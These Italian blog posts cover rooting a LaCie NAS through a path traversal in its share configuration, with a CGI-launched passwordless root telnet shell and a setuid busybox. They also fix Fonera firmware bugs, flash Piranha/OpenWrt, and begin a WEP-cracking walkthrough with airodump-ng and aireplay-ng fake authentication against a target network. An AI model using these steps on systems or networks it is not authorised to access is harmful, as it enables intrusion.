Steppenwolf

It’s not a bug, it’s a feature. [Anonimo]

Chi ha già eseguito l‘hack del proprio nas avrà sicuramente notato che la partizione contenente i dati dell’utente è formattata con il filesystem xfs. Questo ottimo filesystem ha la brutta abitudine, con l’uso, di frammentarsi deteriorando così le sue prestazioni.

Per vedere lo stato di frammentazione del proprio filesystem:

# xfs_db -c frag -r /dev/md4

Vedrete qualcosa del tipo:

actual 3144, ideal 3135, fragmentation factor 0.29%

Per deframmentare il nas abbiamo bisogno dell’utility xfs_fsr, che non è installata sul nas.
Ho recuperato il programma dal pacchetto xfsdump della distro debian lenny compilato per armtel, quindi compatibile con il nas. Ho rimosso dal pacchetto tutti i file strettamente non necessari riducendolo a 14kb.

• Scaricate il file xfsdump_2.2.48-1_armel.tar.gz
• Copiate l’archivio nella vostra cartella condivisa del nas.
• # cd /home/share/nome_cartella_della_vostra_condivisione
• # tar -xvzf xfsdump_2.2.48-1_armel.tar.gz -C /
• # xfs_fsr -v

Potete anche andare a farvi un caffè, la prima esecuzione del programma ha impegnato più di 4 ore per finire.

Per chi non si fosse informato, recentemente è uscita un aggiornamento del firmware del nas ver 2.2.6.
Se vi chiedete che fine hanno fatto le versioni 2.2.4 e 2.2.5… bhe della 2.2.4 non so dirvi molto ma la versione 2.2.5 del firmware è stata un flop totale. Il processo di installazione, che consisteva in due file da caricare sul nas, si piantava al caricamento del secondo file.

Ho testato l’hack su questa nuova versione del firmware, nei seguenti modi:

• nas con firmware 2.2.3 bucato e aggiornato successivamente alla ver 2.2.6
• aggiornato il nas alla versione 2.2.6 e successivamente bucato

in entrambi i casi è stato possibile bucare il nas.

Dopo le 3 del mattino, due sole categorie di persone sono al lavoro: le prostitute e i programmatori. [Anonimo].

Informazioni Generali Hacking Hacking tramite la creazione di una nuova condivisione Binari compilati per architettura ARM e file di configurazione per initng e pam Aggiungere telnet al nas Installazione di OpenSSH Persistenza dei privilegi dell’utente Problemi con su e passwd e personalizzazione del promtp della bash Installazione di NTP Installazione di Cups (print server) Ripristino Link Utili Speculazioni Ringraziamenti

Informazioni Generali

L’obbiettivo di questo post è di aggiungere una shell ssh e il demone ntpd al vostro nas, ma prima di fare ciò è bene capire un po con quale macchina abbiamo a che fare. Il nas LaCie 2Big Network preso come riferimento e su cui è stata eseguita questa procedura ha il firmware ufficiale, distribuito dalla LaCie, aggiornato alla versione 2.2.3.

# cat /proc/cpuinfo

Processor       : ARM926EJ-S rev 0 (v5l)
BogoMIPS        : 266.24
Features        : swp half thumb fastmult edsp
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant     : 0x0
CPU part        : 0x926
CPU revision    : 0
Cache type      : write-back
Cache clean     : cp15 c7 ops
Cache lockdown  : format C
Cache format    : Harvard
I size          : 32768
I assoc         : 1
I line length   : 32
I sets          : 1024
D size          : 32768
D assoc         : 1
D line length   : 32
D sets          : 1024

Hardware        : Feroceon
Revision        : 0000
Serial          : 0000000000000000


# cat /proc/version

Linux version 2.6.22.7 (root@grp-dash) (gcc version 4.2.1) #1 Thu Apr 9 16:07:45 CEST 2009



# free

	total	used	free	shared	buffers
Mem:	61952	60184	1768	0	7384
Swap:	128376	60184	0	128376
Total:	190328	130144


# df -h

Filesystem	Size	Used	Available	Use%	Mounted on
rootfs	648.4M	20.2M	595.3M	3%	/
udev	648.4M	20.2M	595.3M	3%	/dev
/dev/md0	7.5M	5.9M	1.2M	83%	/oldroot
udev	10.0M	0	10.0M	0%	/oldroot/dev
udev	10.0M	0	10.0M	0%	/oldroot/dev
none	30.3M	0	30.3M	0%	/oldroot/dev/shm
/dev/md1	167.0M	111.3M	47.1M	70%	/oldroot/var/original
/dev/md2	648.4M	20.2M	595.3M	3%	/oldroot/snapshots
unionfs	648.4M	20.2M	595.3M	3%	/
/dev/md4	930.4G	1.2M	930.4G	0%	/home

# cat /proc/partitions

major minor  #blocks  name

8     0  976762584 sda
8     1          1 sda1
8     2  975755970 sda2
8     5     128457 sda5
8     6       8001 sda6
8     7       8001 sda7
8     8     176683 sda8
8     9     674698 sda9
8    10       8001 sda10
8    16  976762584 sdb
8    17          1 sdb1
8    18  975755970 sdb2
8    21     128457 sdb5
8    22       8001 sdb6
8    23       8001 sdb7
8    24     176683 sdb8
8    25     674698 sdb9
8    26       8001 sdb10
31    0        512 mtdblock0
9     0       7936 md0
9     1     176576 md1
9     2     674624 md2
9     3     128384 md3
9     4  975755904 md4


# cat /proc/mtd

dev:    size   erasesize  name
mtd0: 00080000 00010000 "cfi_flash_0"

Sinteticamente è un sistema operativo linux con un kernel decisamente datato (sic!) compilato per processori con architettura arm, cpu a 400mhz, 64mb di ram (i nuovi modelli hanno 128 mb di ram) e bootloader uboot. Dalle poche informazioni reperite dal sito ufficiale sembra che sia stato usato per costruire il sistema scratcbox e per avviare i servizi e i demoni hanno usato initng al posto di init.d. I problemi che nascono sono molteplici: il reperimento del software già compilato per il sistema (a meno di buttarsi a capofitto nel cross-compiling) compatibile con le versioni di libreria utilizzate dal nas e la creazione degli script di avvio per initng. Anche gli script per initng trovati in rete devono essere modificati un po per farli funzionare sul sistema, dato che gli sviluppatori non hanno rispettato pienamente le specifiche di initng, inserendo tutti gli script *.i nella cartella /etc/initng/ senza effettuare la suddivisione in sottocartelle (deamon per i demoni, net per i servizi di rete, ecc.)

Hacking

Premessa: Non mi assumo alcuna responsabilità qualora, in seguito alle modifiche effettuate, il vostro sistema smettesse di funzionare  correttamente. Vi ricordo, inoltre, che ogni modifica hardware o software al sistema comporta la perdita della garanzia da parte del produttore.
L’accesso al sistema è fondamentale per poter aggiungere al nostro nas uno script bash che esegue dei comandi a nostro piacimento (webshell) o preferibilmente uno script ad hoc per avviare il servizio telnet ed avere una console di root remota.
Ci sono diversi modi per “bucare” il vostro nas, infatti a seconda dei servizi avviati sulla macchina la sicurezza di questo oggetto va decisamente a farsi benedire. Un modo molto semplice per avere accesso al sistema senza smontare fisicamente i dischi è creare una nuova condivisione con un percorso particolare. (vedi più sotto) Avrete così un accesso a tutto il sistema e con i privilegi di amministratore dato che il webserver del nas possiede i diritti di root.

La controparte di questo hacking è che al riavvio della macchina, la condivisione creata viene cambiata dal sistema (meccanismo di protezione??) e rediretta nella vostra condivisione principale, obbligandovi a dover riapplicare la ‘patch’ ogni qualvolta sentite l’esigenza di accedere al vostro sistema linux. Anche la rimozione della nuova condivisione è da eseguire con estrema attenzione. Il mio suggerimento è di rimuovere questa condivisione una volta che si è uppato sul nas il demone telnet e il suo file di avvio (vedi sotto).

Hacking tramite la creazione di una nuova condivisione

• Create una nuova condivisione sul vostro nas di nome “Hack”. La path della condivisione non è importante ciò che importa è che abilitiate almeno la condivisione http.
• Salvare la configurazione xml del vostro nas sul disco (Sistema->Manutenzione->Salva configurazione)
• Fare una copia di backup del file appena salvato (Fatelo! Vi servirà più avanti per rimettere le cose in ordine).
• Editare il file di configurazione xml scaricato modificando la path della condivisione “Hack” come da figura:

Tenete conto le righe del codice xml del vostro file possono differire dall’immagine qui sopra riportata, in relazione al numero di condivisioni della vostra macchina, dagli utenti e dai gruppi.

• Salvare le modifiche e uppare la nuova configurazione sul nas (Sistema->Manutenzione->Carica la configurazione)
• Usate il vostro browser e accedete alle pagina di amministrazione del nas e cliccate su sfoglia per navigare sulla nuova condivisione via web.

La magia viene eseguita dalla riga ../../../../ che impone al sistema di creare una nuova condivisione partendo dalla radice.
Se provate a rimuovere la condivisione “hack” farete danni al vostro sistema, perché insieme alla condivisione rimuoverete anche i file in essa contenuti (quindi il sistema operativo del nas). Un modo indolore per effettuare la rimozione  della condivisione è caricare il backup della configurazione del nas effettuato precedentemente (edconf.xml) e solo dopo rimuovere la condivisione ‘hack’ normalmente tramite l’interfaccia web.

Una volta che avete l’accesso al filesystem, per di più con i diritti di root (!), potrete uppare tutti i file che volete.

Binari compilati per architettura ARM e file di configurazione per initng e pam

Da qui in poi avrete bisogno di questo archivio:

>> LaCie_2Big_Network_[TELNET][NTP][SSH][CUPS].zip (6,79Mb),

contenete tutti i binari e le librerie, compilati per architettura arm, che vi servono per installare sul vostro nas i demoni Telnet, NTP, OpenSSH e Cups.
L’archivio contiene i seguenti file:

• cups-1.3.8-r1.tbz2 (1,89Mb), contenente tutti file del servizio di stampa. è incluso nell’archivio anche la libreria libpaper (libpaper-1.1.23.tbz2) richiesta dal cups e non presente nel nas.
• cups-1.3.8-r1_(driver).tbz2 (3.74Mb), contenente tutti file ppd presenti nella distribuzione 9.10 di ubuntu. Questo file ovviamente non è presente nel sito internet dove ho recuperato i binari compilati per il nas.
• cups-1.3.8-r1_(language).tbz2 (419Kb), contenente la traduzione nelle maggiori lingue, italiano compreso, delle pagine html di cups. Questo file non è presente nel sito internet dove ho recuperato i binari compilati per il nas.
• ntp-4.2.4_p4.tbz2 (247Kb), contenente i binari e i file di configurazione per il demone ntp
• openssh-4.7_p1-r6.tbz2 (490Kb), contenente i binari e i file di configurazione per il demone ssh. L’archivio contiene inoltre le librerie tcp-wrappers (tcp-wrappers-7.6-r8.tbz2) richieste dal demone non presenti nel nas.
• usbutils-0.73.tbz2 (86,2Kb). Questo file non è strettamente necessario al nas ne è obbligatorio installarlo per far funzionare cups, tuttavia può essere di aiuto poiché installa l’eseguibile lsusb.
• utelnetd.tbz2 (5.7Kb), contenente il demone utelnetd e un file per eseguirlo (vedi paragrafo successivo per maggiori info)

Gli archivi originali li ho recuperati dal sito:
http://downloads.buffalo.nas-central.org/LSPro_ARM9/Distributions/Genlink/Binaries/armv5tejl-softfloat-linux-gnueabi/
dove sono presenti molti pacchetti già compilati per i nas della buffalo. Senonché questi pacchetti sono pensati per un sistema che una inet.d e non initng, quindi ho dovuto crearmi a mano gli scrip di avvio per i demoni sshd, ntpd e cups (rispettivamente /etc/initng/sshd.i, /etc/initng/ntpd.i e /etc/initng/cups.i). Vi posso assicurare che non è stato un bel vedere: la documentazione in merito è alquanto carente e il forum ufficiale del progetto initng è sommerso dallo spam. (Quanto adoro gli spammer )

Ho voluto lasciare i pacchetti distinti, evitando di fare un unico archivio,  in modo da lasciarvi la massima scelta su cosa installare. Da i file ho rimosso i man page e i docs.

 

Aggiungere telnet al nas

L’archivio utelnetd.tbz2 contiene due file, il demone telnet e un file per lanciarlo e configurare la bash del vostro sistema. Copiate i due file nella cartella /www/cgi-bin/public/ tramite la condivisione creata precedentemente.
EccoVi il contenuto del file telnet.cgi:

#!/bin/sh
echo "Content-type: text/plain"
echo ""

# Settings for root bash shell
HOME='/root'
PATH='/usr/local/bin:/bin:/sbin:/usr/bin:/usr/sbin:.:'
TERM=linux

PS1='\u@\h:\w# '
PS2='> '
PS3='> '
PS4='+ '
export PS1 PS2 PS3 PS4 PATH HOME TERM

# Run telnet daemon
echo utelnetd -l /bin/bash
eval utelnetd -l /bin/bash

Potete lanciare il vostro demone telnet da un browser web all’indirizzo:

http://indirizzo_nas/cgi-bin/public/telnet.cgi

Aggiornamento: Se la pagina rimane bianca e in caricamento infinito non preoccupatevi, lanciate ugualmente il vostro client telnet sull’indirizzo del nas e godetevi la vostra console di root senza login. (evviva sicurezza!)
Una volta che si possiede una console a tutti gli effetti si può anche pensare di fare uno step in avanti con la sicurezza installando openssh.

Installazione di OpenSSH

Copiate l’archivio openssh-4.7_p1-r6[modificato].tbz2 nella vostra cartella condivisa del nas.
Dalla console di telnet eseguite:

OpenSSH

1. cd /home/share/nome_cartella_della_vostra_condivisione
2. tar -xvjf openssh-4.7_p1-r6.tbz2 -C /
3. rm openssh-4.7_p1-r6.tbz2
4. cd /etc/initng/runlevel/
5. echo sshd >> default.runlevel
6. touch /var/log/lastlog

Al primo avvio del nas dopo l’installazione dello ssh sarà, per una sola volta, più lento, la causa è la creazione automatica dei file:

• ssh_host_dsa_key
• ssh_host_dsa_key.pub
• ssh_host_key
• ssh_host_key.pub
• ssh_host_rsa_key
• ssh_host_rsa_key.pub

obbligatori per il funzionamento stesso del demone ssh stesso (cartella /etc/ssh/).

Eccovi il file di configurazione, incluso nell’archivio, per initng per il demone sshd:

Altro problema sono le pam, anche qui, il file presente nell’archivio originale non funziona e ho dovuto editarlo a mano. Eccovi il suo nuovo contenuto:

#%PAM-1.0

auth        required     pam_unix.so
account     required     pam_unix.so
password    required     pam_unix.so
session     required     pam_unix.so

Modificatelo a vostra discrezione (file /etc/pam.d/sshd).

Persistenza dei privilegi dell’utente

I problemi tuttavia non finiscono qui. Ad ogni riavvio della macchina il file /etc/passwd e /etc/shadow vengono sovrascritti. In particolare ogni nuovo utente creato tramite l’interfaccia web del nas non ha il diritto di loggarsi alla console remota del nas. Es:

admin:x:500:100::/home:/bin/false

Il /bin/false è il nostro problema! Per ovviare alla situazione ho creato un servizio per initng, chiamato personal, che permette di ripristinare i privilegi di un account:

Si presuppone che l’utente sia stato creato precedentemente tramite l’interfaccia web del nas.

L’unica modifica richiesta è cambiare la stringa user="utente", inserendo al posto di utente il nome dello user che avete creato. L’esecuzione dello script comporta la modifica dei privilegi dell’utente (che diventerà un alter ego del root) e la possibilità di effettuare il login remoto nella shell ssh.
Il file non è presente in alcun archivio, ma è possibile scaricarlo qui:

• personal.i (prima versione)
• personal2.i (versione per i più smaliziati)

Per avviare automaticamente al boot del nas lo script:

1. copiare il file personal.i nella cartella /etc/initng/, e
2. cd /etc/initng/runlevel/
3. echo personal >> default.runlevel

Una volta che lo script è stato aggiunto potete finalmente eliminare il vostro demone telnet e il suo file di avvio dalla cartella /www/cgi-bin/public/. Per scaramanzia vi consiglio di riavviare la macchina e accertarvi che tutto funzioni come si ci aspetti prima di rimuovere i due file.

Problemi con su e passwd e personalizzazione del promtp della bash

Quando gli sviluppatori della LaCie hanno compilato il sistema hanno tralasciato, penso volutamente, qualcosa…
Loggatevi come root al nas ed eseguite (ricordo che l’accesso telnet che avete è di root):

vi /etc/busybox.conf

Inserite queste linee, salvate il file e uscite dall’editor

[SUID]
passwd = ssx 0.0
su = ssx root.0

Dalla console, sempre con l’account di root, eseguite questi comandi:

# chown 0.0 /etc/busybox.conf
# chmod 600 /etc/busybox.conf
# chown 0.0 /bin/busybox
# chmod 4755 /bin/busybox

I problemi con su e passwd sono finiti.

Se volete il promt della bash esteso vi consiglio di editare il file /etc/profile.bash cambiando la riga:
PS1='[\u@\h \W]\$ ' in
PS1='[\u@\h \w]\$ '.

Installazione di NTP

Copiate l’archivio ntp-4.2.4_p4.tbz2 (247Kb) nella vostra cartella condivisa del nas.
Dalla console, con i privilegi di root attivi, eseguite:

NTPd

1. cd /home/share/nome_cartella_della_vostra_condivisione
2. tar -xvjf ntp-4.2.4_p4.tbz2 -C /
3. rm -r ntp-4.2.4_p4.tbz2
4. cd /etc/initng/runlevel/
5. echo ntpd >> default.runlevel

Questo qui è il file di configurazione, incluso nell’archivio, per initng per il demone ntpd:

Non dimenticatevi di configurare correttamente il vostro fuso orario. Potete farlo dalla pagina web di configurazione “system” del vostro nas. Per finire riavviate il nas.

Installazione di Cups (print server)

Copiate l’archivio cups-1.3.8-r1.tbz2 (1.89Mb)  nella vostra cartella condivisa del nas.

CUPS

Dalla console, con i privilegi di root attivi, eseguite:

1. cd /home/share/nome_cartella_della_vostra_condivisione
2. tar -xvjf cups-1.3.8-r1.tbz2 -C /
3. rm -r cups-1.3.8-r1.tbz2
4. cd /etc/initng/runlevel/
5. echo cupsd >> default.runlevel
6. Aprite l’interfaccia web del nas e cliccate su GRUPPI e poi aggiungi, e create un nuovo gruppo con il nome “lpadmin” e aggiungete al gruppo l’utente che avete creato precedentemente per accedere al nas in ssh.
7. vi /etc/sysconfig/modules
8. Aggiungete la riga usblp, come da figura e salvate.

L’ultimo passaggio impone al sistema di caricare automaticamente all’avvio il modulo che supporta la stampa su porta usb.
Vi ricordo che i comandi per modificare un file con l’editor vi sono “i” per inserire nuovo testo e “ESC”+”:wq” per salvare e uscire.

Eccovi il file di configurazione, incluso nell’archivio, per avviare automaticamente il demone cups tramite initng:

Dovete, inoltre, modificare il file /etc/cups/cupsd.conf per permettere l’amministrazione remota del cups, altrimenti inattiva. Come aiuto vi riporto il mio file di configurazione. Per un ulteriore aiuto su come configurare il cups vi rimando al sito internet ufficiale www.cups.org.

Anche per il cups ho dovuto editare a mano il file pam. Eccovi il suo nuovo contenuto:

#%PAM-1.0

auth        required     pam_unix.so
account     required     pam_unix.so


Modificatelo a vostra discrezione (file /etc/pam.d/cups).

Una volta riavviata la macchina, il cups sarà in esecuzione e raggiungibile all’indirizzo del vostro nas alla porta 631:

https://indirizzo_nas:631

I file cups-1.3.8-r1_(driver).tbz2 e cups-1.3.8-r1_(launguage).tbz2, sono opzionali e contengono i driver e la traduzione dell’interfaccia web, installarli o meno è una vostra scelta. Potete anche installare solo la lingua italiana rimuovendo dall’archivio cups-1.3.8-r1_(launguage).tbz2 le cartelle delle lingue che non desiderate, lo stesso dicasi per il file con i driver.

Per poter stampare in formato raw (output pre formattato) dovete togliere il commento alla linea seguente dal file /etc/cups/mime.convs:

application/octet-stream application/vnd.cups-raw 0 -

Assicuratevi che non sia commentata anche la linea seguente del file /etc/cups/mime.types:

application/octet-stream

In linux la stampante sarà rintracciabile all’indirizzo (fate attenzione alle volte non c’è bisogno di indicare il numero di porta):

ipp://indirizzo_nas:631/printers/nome_stampante

Es:

ipp://192.168.1.100:631/printers/ML-3050

In windows xp cliccate su “Aggiungi stampante” e per aggiungere una nuova stampante di rete e selezionate “Stampante  in Internet o della rete domestica o aziendale” e usate l’URL:

http://indirizzo_nas:631/printers/nome_stampante

Selezionate, infine, il driver per la vostra stampante.
Una piccola precisazione, il samba del nas non è stato compilato con il supporto per il cups. (libcups.so.2)

Ripristino

È possibile ripristinare il filesystem del nas allo stato precedente le modifiche effettuando l’aggiornamento del firmware, anche con la stessa versione installata sul nas, nel mio caso 2.2.3, usando l’utility messa a disposizione dalla LaCie stessa. Tuttavia non è possibile effettuare tale operazione se il nas risulta non essere più visibile in rete, infatti l’utility non esegue il processo di aggiornamento se non vede precedentemente il nas.

Link Utili

• uboot
• scratcbox
• buildroot
• www.initng.org, vedi preferibilmente http://gitorious.org/initng/.
• Lacie NAS-Central
• General NAS-Central Forums
• http://downloads.buffalo.nas-central.org/LSPro_ARM9/Distributions/Genlink/Binaries/armv5tejl-softfloat-linux-gnueabi/
  (binari compilati per architettura arm)
• LaCie (pagina di supporto)
• LaCie GPL
• www.cups.org, Common UNIX Printing System.

Speculazioni

Un idea molto interessante che mi è venuta in mente è di modificare il raid del nas. In particolare, usare gli hard disk esterni, agganciabili alle porte del usb, come parte integrante del raid usando il raid 5 o aggiungere un hd esterno da usare come spare in caso di guasto. Non ho compiuto alcuna prova in merito, principalmente per mancanza di hd, ma se qualcuno ha avuto la stessa mia idea e ci sta provando mi faccia sapere qualcosa.

Aggiornamento del kernel (?!?)

Ringraziamenti

Ringrazio gli utenti del forum “General NAS-Central Forums”, che con i loro utili post hanno permesso la stesura di questo articolo e soprattutto di bucare il mio nas.

 

Non sono contento della piega che da un po di tempo a questa parte fon sta prendendo. Hanno impiegato molti sforzi a sviluppare dei plugin per megaupload, picasa, facebook, twitter, rapidshare ecc. che non sono così fondamentali come la stabilità del router, né sono così importanti da essere installati di default e senza possibilità di rimuoverli dalla fonera.
Inoltre continuano a non dare troppo peso alle richieste degli utenti sia in termini di hardware che in termini di software. Chi non vuole sulla propria fonera tutte le opzioni che il mod freelan fornisce?
Quando la fonera 2.0g era in fase beta si chiedeva alla fon un router con 64mb di ram e il supporto alla tecnologia wifi n (tra le tante necessità queste almeno erano le più richieste). Adesso esiste ed è il nuovo router fonera 2.0n, si ma a che prezzo? Hanno ritirato dal mercato la “vecchia” fonera 2.0g e mandato una mail ai possessori di quest’ultima per incentivare l’acquisto della nuova macchina a prezzo scontato. Intanto i miei fonera si impilano uno sopra l’altro…
Sembra che si siano accorti che 32mb di ram erano troppo pochi per far girare tutte quelle applicazioni sulla fonera figuriamoci un client torrent. Nel frattempo ho sempre difficoltà ad accedere alla WebGui della fonera lato wan  obbligandomi ad riavviare firefox o peggio la fonera stessa (che impiega soli 5 minuti per rimettersi on-line).
Non tocchiamo nemmeno l’argomento del transfer-rate in ftp dal pc all’hard disk collegato alla fonera: semplicemente ridicolo. Ho un nas della LaCie che 10 volte più veloce!
Piuttosto che creare un nuovo router ora non potevano fin da subito progettare questo senza passare dallo step (fallito) della fonera 2.0g?
La nuova fonera 2.0n nonostante abbia uno switch di 4 porte queste non sono gigalan e le sue due antenne sono fisse, non so voi ma l’idea delle antenne fisse mi rabbrividisce. Ho diverse antenne wifi di varia portata da 2db a 16db che non potrei usare con questo router.
Spero che migliorino il supporto software per bene altrimenti a fare un fis init -f e mettere su OpenWrt non ci vuole poi molto…”soli” 30 minuti (almeno per le vecchie fonere, 3-5 minuti per la nuova).

Che la RC1 del firmware 2.3.0.1 della fonera 2.0g fosse baggato era cosa nota già dai primi momenti in cui è stato reso pubblico.

Anomalie:

Questa è la shell della fonera 2.0g con l’ultimo firmware 2.3.0.1.
Come si può notare la dicitura è: Fonera 20n Firmware (v2.2.6.0)
Il che fa pensare che di fatto stiano facendo un unico firmware per entrambe le fonere 2.0g e 2.0n modificando solo il supporto per il processore Atheros AR2315 a 183Mhz per la fonera 2.0g e Ralink RT3052F a 300 Mhz per la fonera 2.0n.

Bug:

Se provate ad accedere dalla wan in ssh alla fonera riceverete un messaggio di errore di connessione rifiutata, questo anche se avete abilitato l’accesso ssh lato wan dalla fonera stessa.
Per risolvere questo problema, nella attesa di una release meno baggata, procedete così:

1. Guadagnate l’accesso ssh sulla fonera (lato lan)

2. Modificate il file:

   root@fonera:~# vi /etc/firewall.fon

3. Aggiungete la riga (comando “i” per inserire nuovo testo nel file):

   iptables -A input_wan -p tcp --dport 22 -j ACCEPT

4. Salvate (per salvare pigiate “esc”, poi “:wq”)

5. Riavviate la fonera o riavviate il firewall:

   root@fonera:~# /etc/init.d/firewall restart

Questo sembrerebbe essere un bug introdotto proprio dalla versione del firmware 2.3.0.1 rc1.
Non è sicuramente un grave problema, ma per chi, come me, usa la shell della fonera può dare fastidio.

Altro giro altro bug!

Posso confermare che questo bug era già presente nella versione precedente del firmware (2.2.6.0 rc2).
La fonera, come sapete, può collegarsi alla rete “wan” sia tramite cavo di rete che wifi.
Se volete impostare la modalità di connessione wifi e come il sottoscritto siete piuttosto esigenti sulla wpa passphrase  avrete qualche problema. L’interfaccia grafica della fonera infatti si rifiuta di salvare pass-phrases lunghe.
Es:

Nel mio caso uso una passphrase di 63 caratteri esadecimali. Quando pigiate il tasto salva la fonera vi segnalerà in rosso la vostra passphrase e si rifiuterà di salvare le impostazioni.
La soluzione che suggerisco è semplice:

1. Inserire una passphrase fasulla di otto caratteri tipo “12345678″ e salvare le impostazioni.

2. Aprire una console sulla fonera e modificare il file:

   root@fonera:~# vi /etc/config/fon


3. Cercate la riga:

   option 'psk' '12345678'

   e sostituitela con:

   option 'psk' 'inserite_la_vostra_passphrase'

   Es:

   

4. Salvate il file e riavviate la fonera.

Spero di aver dato una mano d’aiuto.

[Aggiornamento 17-02-2010]

Informo che già dalla data 17-01-2010 il progetto piranha si è trasferito al seguente indirizzo: http://piranha.pwnz.org/,
inoltre sempre nella stessa data è stata rilasciata la versione 3.0 del firmware disponibile all’indirizzo:

http://piranha.pwnz.org/2010/01/17/piranha-3-0-100117/

 

Facendo una ricerca in rete è facile trovare tantissime guide per installare OpenWrt e derivati sul fonera. Per il piranha consiglio di usare la guida:

http://www.fonerahacks.com/index.php/Tutorials-and-Guides/Full-Legend-Flash-Guide.html, che risulta essere molto completa e estremamente simile alla procedura per installare il piranha con alcuni accorgimenti:

1. scaricare il firmware del piranha dal sito ufficiale:

   http://piranha.klashed.net/pub/2.0/alpha4/, se volete la versione con l’interfaccia web (LuCi) presente.

   http://piranha.klashed.net/pub/3.0/090925/, se preferite la versione 3.0 più recente ma con meno pacchetti e senza interfaccia web.

2. A prescindere dalle versione che preferite dovete scaricare i file:

   openwrt-atheros-root.squashfs e openwrt-atheros-vmlinux.lzma.

   Alternativamente se preferite potete scaricare la versione openwrt-atheros-root.jffs2-64k. Per maggiori info sulla differenza date un occhiata a questo post in lingua inglese.

3. Eseguite nel RedBoot del vostro fonera questi comandi:

Redboot> ip_addr -h 192.168.1.166 -l 192.168.1.254/24

Redboot> fis init -f

Redboot> load -r -b %{FREEMEMLO} openwrt-atheros-vmlinux.lzma

Redboot> fis create -e 0×80041000 -r 0×80041000 vmlinux.bin.l7

Redboot> fis free

0xA80F0000 .. 0xA87E0000

4. Nella shell del vostro computer (se avete linux) eseguite i seguenti comandi, riportando i valori che il comando fis free vi ha restituito e segnatevi il risultato.

   Se non avete linux eseguite la sottrazione dei valori con una calcolatrice scientifica in base 16 (quella di windows andrà benissimo).

   server:~# bc

   obase=16

   ibase=16

   A87E0000 – A80F0000

   6F0000

   quit

   (0xLENGTH is 0x006F0000 in questo caso)

5. Nel ReedBoot della fonera:

Redboot> load -r -b %{FREEMEMLO} openwrt-atheros-root.squashfs

Redboot> fis create -l 0xLENGHT rootfs

Redboot> fconfig

>> fis load -l vmlinux.bin.l7

>> exec

>>

Redboot> reset

Ho attinto le informazioni di questo post dal sito internet ufficiale del firmware piranha.

Riferitevi alla guida che vi ho suggerito prima per accedere al redboot del vostro fonera.

Se avete difficoltà ad accedere in ssh al vostro fonera leggete il paragrafo “Acquisizione dell’accesso ssh sul fonera” del post “Wep Hack with Aircrack-ng on fonera piranha 2.0 alpha 4“.

>> Le informazioni presenti in questa guida sono da intendersi a solo uso didattico <<

Acquisizione dell’accesso ssh sul fonera. (solo per le nuove installazioni)

Il piranha è una distro basata su OpenWRT per fonera.
Per motivi di sicurezza nelle distribuzioni OpenWrt NON è specificata una password di default per l’account root, che deve essere settata al primo accesso all’interfaccia web (se presente) o tramite console telnet.
Dopo l’installazione sul fonera del firmware piranha 2.0 alpha 4, lanciate una console telnet.
L’indirizzo di default del fonera con firmware Piranha 2.0 alpha 4 è 192.168.1.1, mentre per il firmware 3.0 alla versione attuale “090916″ (16-09-2009) è 10.0.0.1.
Le versioni del firmware Piranha 3.0 fino all’attuale 090916 (al momento in cui scrivo), benché siano più recenti, non possiedono l’interfaccia web (Luci).

Il firmware piranha è disponibile al seguente indirizzo: http://piranha.klashed.net/pub/
[Aggiornamento] Il progetto piranha si è trasferito al seguente indirizzo:  http://piranha.pwnz.org/

telnet 192.168.1.1
passwd

e inserite la vostra password

exit
ssh 192.168.1.1

entrate con le credenziali di root e la password che avete settato precedentemente.

Abilitazione del monitor mode

Loggatevi come root e inserite la vostra password appena definita

iwconfig ath0 | grep Mode

se leggete ” Mode:Monitor ... ” tutto ok altrimenti eseguite i due comandi qui riportati:

wlanconfig ath0 destroy
wlanconfig ath0 create wlandev wifi0 wlanmode monitor

Con questi due comandi avete settato la vostra fonera in modalità di ascolto.

Connessione di un unità di rete sulla fonera

Il fonera non dispone di spazio per salvare i pacchetti acquisiti, per cui è fondamentale salvare questi dati sul nostro pc.
Create una cartella d’appoggio sul fonera.

mkdir /mnt/share

Montiamo la cartella remota:

mount.cifs percorso_di_rete_del_nostro_pc/nome_cartella_condivisa /mnt/share -o user=Nome_del_nostro_account_sul_pc

Es: mount.cifs //192.168.1.2/Condivisa /mnt/share -o user=root

Entrate nella cartella che avete montato.

cd /mnt/share

Sniffare e salvare i pacchetti catturati

Cominciamo a guardarci un po attorno:

airodump-ng ath0

Individuate la vostra rete bersaglio e salvatevi il numero del canale della rete e il suo bssid.
Chiudete airodump-ng con un bel ctrl-c e rilanciatelo con questi comandi.

airodump-ng -c numero --bssid 00:xx:xx:xx:xx:xx -w /mnt/share/nome_rete_bersaglio ath0

dove:

• -c numero è il canale della rete wifi scelta,
• --bssid 00:xx:xx:xx:xx:xx indica il mac dell’acces point che si sta attaccando,
• -w /mnt/share/nome_rete_bersaglio indica il percorso e il nome del file che verrà creato contenente il traffico sniffato.

Da questo momento la vostra fonera salverà su hard disk tutti i pacchetti della rete bersaglio che avete scelto.

Lasciate il programma attivo e aprite un altra console ssh sulla fonera.

Attacchi standard

Per trovare la password di una rete wep con crittografia a 128 bit bisogna acquisire circa 400.000 pacchetti IV.
Dunque se non si vuole fare notte è opportuno cominciare a creare un po di traffico nella nostra rete bersaglio.

Lanciate l’attacco:

Fake authentication

aireplay-ng -1 0 -e NOME_RETE_BERSAGLIO -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove:

• -1 indica l’attacco fake authentication
• 0 il tempo, espresso in secondi, di ri-associazione alla rete attaccata.
• -b indica il mac dell’acces point che si sta attaccando (inserire il mac salvato all’inizio con airodump)
• -h indica il mac del nostro fonera.
  Se non lo conoscete usate il comando: ifconfig ath0 | grep HWaddr

Questo è un passaggio estremamente importante, se durate questa fase visualizzate dei messaggi del tipo:

12:18:20 Sending Authentication Request (Open System) [ACK]
12:18:20 Authentication successful
12:18:20 Sending Association Request [ACK]
12:18:20 Association successful :--) (AID: 1)


Allora siete riusciti nell’intento di autenticarvi nella rete che state attaccando senza problemi e potete passare al prossimo attacco.
Con alcuni access points è possibile incorre in errori strani, se accadesse qualcosa del genere provate questo comando:

aireplay-ng -1 6000 -o 1 -q 10 -e NOME_RETE_BERSAGLIO -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove:

• 6000 Indica che ci si ri-autenticherà ogni 6000 secondi
• -o 1 Indica che verrà mandato solo un set alla volta. Mandare più set di pacchetti può confondere alcuni access point.
• -q 10 Indica che verrà mandato un pacchetto di Keep-alive ogni 10 secondi.

Se leggete nella shell:

12:20:22 Sending Authentication Request (Open System) [ACK]
12:20:22 Authentication successful
12:20:22 Sending Association Request
12:20:22 Association successful :--) (AID: 1)
12:20:32 Sending keep-alive packet [ACK]
